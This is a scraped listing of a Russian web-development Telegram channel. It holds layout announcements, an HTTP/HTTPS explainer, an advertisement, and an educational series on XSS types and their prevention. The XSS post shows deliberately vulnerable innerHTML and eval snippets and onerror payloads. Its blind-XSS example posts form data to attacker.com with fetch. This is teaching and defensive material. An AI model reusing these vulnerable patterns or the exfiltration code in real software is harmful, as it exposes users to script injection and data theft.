ВАЙЛТ™
Відкрити в Telegram
ВАЙЛТ™ — IT-проект, разработанный помогать Целая система, в которой есть всё необходимое для IT-специалистов, маркетологов и бизнеса Всё о ген. директоре и проекте -> klicks.ru/my Главный домен проекта -> вайлт.рф
Показати більше1 211
Підписники
Немає даних24 години
-17 днів
-2130 днів
Архів дописів
'; \nconst safeInput = escapeHtml(userInput); \ndocument.getElementById('output').textContent = safeInput;\n\n2. Использование безопасных методов для вставки данных в DOM: \n• Избегайте использования innerHTML, outerHTML, document.write, eval и подобных методов для вставки данных в DOM. \n• Используйте безопасные методы, такие как textContent, innerText, createElement, appendChild.\nconst userInput = ''; \nconst outputElement = document.getElementById('output'); \n \n// Использование textContent вместо innerHTML \noutputElement.textContent = userInput; \n\n3. Валидация и фильтрация входных данных: \n• Всегда проверяйте и фильтруйте входные данные на стороне сервера и клиента. \n• Используйте белые списки допустимых значений, чтобы ограничить ввод только разрешенными данными.\ndocument.getElementById('userForm').addEventListener('submit', function(event) { \nconst name = document.getElementById('name').value; \n \n// Пример простой валидации \nif (!/^[a-zA-Z ]+$/.test(name)) { \n alert('Invalid name. Only letters and spaces are allowed.'); \n event.preventDefault(); \n} \n});\n\n4. Использование Content Security Policy (CSP): \n• Настройте CSP заголовки, чтобы ограничить источники скриптов, стилей и других ресурсов. \n• CSP помогает предотвратить выполнение вредоносных скриптов, даже если они были внедрены в код.\n\n \n5. Использование библиотек и фреймворков: \n• Используйте проверенные библиотеки и фреймворки, которые имеют встроенные механизмы защиты от XSS. \n• Например, React, Angular и Vue автоматически экранируют данные, вставляемые в DOM.\nimport React from 'react'; \nimport ReactDOM from 'react-dom'; \n \nconst userInput = ''; \n \nfunction App() { \n return ( \n , document.getElementById('root'));\n \n6. Обновление и патчинг: \n• Регулярно обновляйте все используемые библиотеки и фреймворки до последних версий, чтобы защититься от известных уязвимостей.\n# Обновление всех пакетов до последних версий\nnpm update\n# Проверка наличия уязвимостей в пакетах\nnpm audit\n# Автоматическое исправление уязвимостей\nnpm audit fix\n\nWEBIK | @gki_webik_ru","datePublished":"2024-08-04T17:37:14Z","dateModified":"2024-08-04T17:37:14Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":530},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":22},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":12}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1948","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1948","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1948","headline":"#Мем WEBIK | @gki_webik_ru","articleBody":"#Мем \n \nWEBIK | @gki_webik_ru","datePublished":"2024-08-03T15:50:25Z","dateModified":"2024-08-03T15:50:25Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":495},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":30},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1947","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1947","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1947","headline":"ВАЙЛТ™","datePublished":"2024-08-03T08:21:27Z","dateModified":"2024-08-03T08:21:27Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":528},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":28}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1946","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1946","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1946","headline":"#Мем WEBIK | @gki_webik_ru","articleBody":"#Мем \n \nWEBIK | @gki_webik_ru","datePublished":"2024-08-02T17:14:15Z","dateModified":"2024-08-02T17:14:15Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":541},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":31}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1945","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1945","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1945","headline":"#РецептКода Step Indicator Код адаптивной анимации прогресса с возможностью шага вперед и назад. Реализовано…","articleBody":"#РецептКода\n\nStep Indicator \n \nКод адаптивной анимации прогресса с возможностью шага вперед и назад. \nРеализовано на чистом HTML+CSS+JavaScript.\n\nWEBIK | @gki_webik_ru","datePublished":"2024-08-02T07:26:41Z","dateModified":"2024-08-02T07:26:41Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":525},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":17},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":11}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1944","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1944","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1944","headline":"#Макет Кеменгер Сайт интеллектуального развития → Жанр: #LandingPage → Сложность: #средний → Язык: #RU → Адап…","articleBody":"#Макет\n\nКеменгер \nСайт интеллектуального развития \n \n→ Жанр: #LandingPage \n→ Сложность: #средний \n→ Язык: #RU \n→ Адаптив: Нет \n \nWEBIK | @gki_webik_ru","datePublished":"2024-08-01T08:08:19Z","dateModified":"2024-08-01T08:08:19Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":551},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":18},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1943","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1943","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1943","headline":"ВАЙЛТ™","datePublished":"2024-07-31T16:45:26Z","dateModified":"2024-07-31T16:45:26Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":532},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":20},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1942","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1942","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1942","headline":"#Мем WEBIK | @gki_webik_ru","articleBody":"#Мем \n \nWEBIK | @gki_webik_ru","datePublished":"2024-07-31T08:57:30Z","dateModified":"2024-07-31T08:57:30Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":515},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":30}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1941","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1941","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1941","headline":"🖥 Меняем title вкладки, если пользователь перешел на другую // Когда пользователь переключается на другую вкл…","articleBody":"🖥 Меняем title вкладки, если пользователь перешел на другую \n\n// Когда пользователь переключается на другую вкладку\nwindow.addEventListener('blur', () => {\n document.title = 'Вернитесь 😢'\n})\n\n// Когда пользователь возвращается на вашу страницу \nwindow.addEventListener('focus', () => {\n document.title = 't.me/WebTaverna 🙂'\n})\n\n\nДрузья! Если хотите больше полезных материалов по HTML, CSS и JavaScript, то не забудьте подписаться на канал WebTaverna 👍\n\nПо мимо этого на канале регулярно публикуются готовые решения с CodePen для верстки сайтов и смешные IT мемы \n\n➡️ Перейти в канал WebTaverna","datePublished":"2024-07-30T10:00:04Z","dateModified":"2024-07-31T10:00:07Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":191},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":21},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1940","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1940","mainEntityOfPage":"https://telemetr.io/uk/channels/1730670840-whilet_ru/posts/1940","headline":"#Интересно Часть 1. О XSS Часть 2. XSS Типы + примеры XSS-атаки бывают: • Сохраняемые, когда вредоносный скри…","articleBody":"#Интересно\n\nЧасть 1. О XSS\n\nЧасть 2. XSS Типы + примеры\n\nXSS-атаки бывают: \n• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента. \n \n \n\nlet comments = []; \nfunction saveComment() { \n let comment = document.getElementById('comment').value; \n comments.push(comment); \n document.getElementById('comments').innerHTML += comment + '
'; \n}\n• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа. \n\nconst query = new URLSearchParams(window.location.search).get('q'); \ndocument.body.innerHTML += query;\n• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер. \n \n \n document.getElementById('xssForm').addEventListener('submit', function(e) { \n e.preventDefault(); \n var userInput = document.getElementById('userInput').value; \n document.getElementById('output').innerHTML = userInput; \n });\n• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами. \n\nvar maliciousScript = document.createElement('div'); \nmaliciousScript.innerHTML = '
';\n \ndocument.getElementById('content').appendChild(maliciousScript);\n \nfunction step2() { \n var script = document.createElement('script'); \n script.innerHTML = 'alert(\"XSS Attack!\")'; \n document.body.appendChild(script); \n}\n• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении. \n\ndocument.forms[0].onsubmit = function() { \n fetch('http://attacker.com/log', { \n method: 'POST', \n headers: {'Content-Type': 'application/json'}, \n body: JSON.stringify({data: document.forms[0].name.value}) \n }); \n };\n• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.\n \n\nfunction execute() { \n let input = document.getElementById('input').value; \n eval(input);\n}\n\nЕсли хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼\n\nWEBIK | @gki_webik_ru","datePublished":"2024-07-30T08:54:35Z","dateModified":"2024-07-30T08:54:35Z","author":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"publisher":{"@type":"Organization","name":"ВАЙЛТ™","url":"https://telemetr.io/uk/channels/1730670840-whilet_ru","image":"https://img.tlmtr.io/c/1T7IxO/5213478857669806979?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":477},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":34},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":16}]}}]}



Anonymous voting













\n
\n ); \n} \n \nReactDOM.render(User Input
\n{userInput}
{/* React автоматически экранирует данные */} \n'; \n}\n• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа. \n\nconst query = new URLSearchParams(window.location.search).get('q'); \ndocument.body.innerHTML += query;\n• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер. \n \n \n document.getElementById('xssForm').addEventListener('submit', function(e) { \n e.preventDefault(); \n var userInput = document.getElementById('userInput').value; \n document.getElementById('output').innerHTML = userInput; \n });\n• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами. \n\nvar maliciousScript = document.createElement('div'); \nmaliciousScript.innerHTML = '
1 211
#Макет
WelbeX
Сайт интегративной компании
→ Жанр: #LandingPage
→ Сложность: #средний
→ Язык: #RU
→ Адаптив: Есть
WEBIK | @gki_webik_ru
1 211
#Интересно
Что такое HTTP и HTTPS?
HTTP – Hypertext Transfer Protocol
HTTP – это базовый протокол передачи данных, разработанный для обмена информацией между клиентом и сервером во Всемирной паутине. При вводе URL-адреса в браузере, он отправляет запрос на сервер, а тот отвечает, предоставляя запрошенную веб-страницу. HTTP работает на основе принципа «запрос-ответ», и вся информация передается в виде обычного текста, что позволяет любому легко прочитать содержимое.
Пример запроса HTTP:
GET /index.html HTTP/1.1 Host: www.example.comHTTPS – Hypertext Transfer Protocol Secure HTTPS – это расширение протокола HTTP, которое обеспечивает дополнительный уровень безопасности. Оно особенно важно для веб-сайтов, где требуется передача личной информации, например, данных банковских карт или паролей. HTTPS использует протокол SSL/TLS для шифрования данных, делая их непригодными для чтения без соответствующего ключа. Пример запроса HTTPS:
GET /index.html HTTP/1.1 Host: www.example.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Важность HTTPS
Использование HTTPS становится все более важным, поскольку безопасность данных имеет первостепенное значение для пользователей. Веб-браузеры начинают помечать сайты без HTTPS как «не защищенные», что может отпугивать посетителей. Рекомендуется использовать HTTPS на любом сайте, особенно если он собирает или обрабатывает конфиденциальную информацию, чтобы защитить данные пользователей и повысить их доверие к вашему веб-сайту.
Заключение
HTTP и HTTPS – это протоколы передачи данных, используемые для обмена информацией между клиентом и сервером. Основное различие между ними заключается в уровне безопасности. HTTPS использует шифрование данных для защиты конфиденциальной информации, что делает его предпочтительным выбором для большинства веб-сайтов.
WEBIK | @gki_webik_ru1 211
Какой метод используется для объединения свойств двух или более объектов в первый объект в JavaScript?
1 211
#Макет
Макет сайта Спец-транс
Формат:#figma
Язык:#ru
Сложность:#средний
Макет сайта посвященный продаже и доставке нерудных материалов + мобильная версия.
WEBIK | @gki_webik_ru
1 211
«Где Дата, Коль?». Первое реалити-шоу про дата-инженеров
Новый проект учебного центра Слёрм и Николая Маркова, Data Platform Lead в компании Altenar.
👀 Мы выбрали 5 участников, чтобы 14 недель подряд наблюдать, как они проходят наш курс «Data-инженер». И отлично справляются, набирая баллы, или лажают, пропуская дедлайны 🙂
Чтобы дойти до финала, участники должны освоить Python, MapReduce и ETL-инструменты, разобраться с Hadoop, NOSQL, Airflow, Kafka, аналитикой и архитектурой хранилищ данных.
Каждые две недели выходит новая серия. Ментор и ревьюеры разбирают сделанные домашки участников, комментируют результаты и обновляют турнирную таблицу.
❗️Главное правило: Кто перестаёт учиться — выбывает из проекта. Никаких исключений!
Кто справится со всеми заданиями вовремя? Кому ревьюер выставит самый высокий балл? Кто вылетит? А кто получит главный приз?
Ответы на эти вопросы, новости с шоу, а также статьи, кейсы и best practices для начинающего дата-инженера — в канале проекта: 👉 @gdedata
Подписывайтесь!
Реклама. ИП Аердинов Н.В. ИНН 638103515932 erid: LjN8K97oM
1 211
#Интересно
Часть 1. О XSS
Часть 2. XSS Типы + примеры
Часть 3. Предотвращение XSS атаки
Для предотвращения XSS (межсайтового скриптинга) атак в JavaScript, необходимо применять несколько методов и лучших практик. Вот основные шаги, которые помогут защитить ваше приложение:
1. Экранирование входных данных:
• Экранируйте все входные данные, которые могут быть вставлены в HTML, JavaScript, CSS или URL.
• Используйте функции, которые экранируют специальные символы (например, <, >, &, " и ').
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
const userInput = '<script>alert("XSS")</script>';
const safeInput = escapeHtml(userInput);
document.getElementById('output').textContent = safeInput;
2. Использование безопасных методов для вставки данных в DOM:
• Избегайте использования innerHTML, outerHTML, document.write, eval и подобных методов для вставки данных в DOM.
• Используйте безопасные методы, такие как textContent, innerText, createElement, appendChild.
const userInput = '<script>alert("XSS")</script>';
const outputElement = document.getElementById('output');
// Использование textContent вместо innerHTML
outputElement.textContent = userInput;
3. Валидация и фильтрация входных данных:
• Всегда проверяйте и фильтруйте входные данные на стороне сервера и клиента.
• Используйте белые списки допустимых значений, чтобы ограничить ввод только разрешенными данными.
document.getElementById('userForm').addEventListener('submit', function(event) {
const name = document.getElementById('name').value;
// Пример простой валидации
if (!/^[a-zA-Z ]+$/.test(name)) {
alert('Invalid name. Only letters and spaces are allowed.');
event.preventDefault();
}
});
4. Использование Content Security Policy (CSP):
• Настройте CSP заголовки, чтобы ограничить источники скриптов, стилей и других ресурсов.
• CSP помогает предотвратить выполнение вредоносных скриптов, даже если они были внедрены в код.
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">
5. Использование библиотек и фреймворков:
• Используйте проверенные библиотеки и фреймворки, которые имеют встроенные механизмы защиты от XSS.
• Например, React, Angular и Vue автоматически экранируют данные, вставляемые в DOM.
import React from 'react';
import ReactDOM from 'react-dom';
const userInput = '<script>alert("XSS")</script>';
function App() {
return (
<div>
<h1>User Input</h1>
<p>{userInput}</p> {/* React автоматически экранирует данные */}
</div>
);
}
ReactDOM.render(<App />, document.getElementById('root'));
6. Обновление и патчинг:
• Регулярно обновляйте все используемые библиотеки и фреймворки до последних версий, чтобы защититься от известных уязвимостей.
# Обновление всех пакетов до последних версий npm update # Проверка наличия уязвимостей в пакетах npm audit # Автоматическое исправление уязвимостей npm audit fix
WEBIK | @gki_webik_ru1 211
#РецептКода
Step Indicator
Код адаптивной анимации прогресса с возможностью шага вперед и назад.
Реализовано на чистом HTML+CSS+JavaScript.
WEBIK | @gki_webik_ru
1 211
#Макет
Кеменгер
Сайт интеллектуального развития
→ Жанр: #LandingPage
→ Сложность: #средний
→ Язык: #RU
→ Адаптив: Нет
WEBIK | @gki_webik_ru
1 211
🖥 Меняем
title вкладки, если пользователь перешел на другую
// Когда пользователь переключается на другую вкладку
window.addEventListener('blur', () => {
document.title = 'Вернитесь 😢'
})
// Когда пользователь возвращается на вашу страницу
window.addEventListener('focus', () => {
document.title = 't.me/WebTaverna 🙂'
})
Друзья! Если хотите больше полезных материалов по HTML, CSS и JavaScript, то не забудьте подписаться на канал WebTaverna 👍
По мимо этого на канале регулярно публикуются готовые решения с CodePen для верстки сайтов и смешные IT мемы
➡️ Перейти в канал WebTaverna1 211
#Интересно
Часть 1. О XSS
Часть 2. XSS Типы + примеры
XSS-атаки бывают:
• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента.
<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea>
<button onclick="saveComment()">Submit</button>
<div id="comments"></div>
let comments = [];
function saveComment() {
let comment = document.getElementById('comment').value;
comments.push(comment);
document.getElementById('comments').innerHTML += comment + '<br>';
}
• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа.
<form method="get" action="/">
<input type="text" name="q">
<input type="submit" value="Search">
</form>
const query = new URLSearchParams(window.location.search).get('q');
document.body.innerHTML += query;
• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер.
<form id="xssForm">
<input type="text" id="userInput" placeholder="Enter text">
<button type="submit">Submit</button>
</form>
<div id="output"></div>
document.getElementById('xssForm').addEventListener('submit', function(e) {
e.preventDefault();
var userInput = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = userInput;
});
• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами.
<div id="content"></div>
var maliciousScript = document.createElement('div');
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';
document.getElementById('content').appendChild(maliciousScript);
function step2() {
var script = document.createElement('script');
script.innerHTML = 'alert("XSS Attack!")';
document.body.appendChild(script);
}
• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении.
<form action="http://example.com/submit" method="POST">
<input type="text" name="name" placeholder="Enter your name">
<input type="submit" value="Submit">
</form>
document.forms[0].onsubmit = function() {
fetch('http://attacker.com/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: document.forms[0].name.value})
});
};
• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.
<input id="input" type="text" placeholder="Enter text">
<button onclick="execute()">Run</button>
function execute() {
let input = document.getElementById('input').value;
eval(input);
}
Если хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼
WEBIK | @gki_webik_ru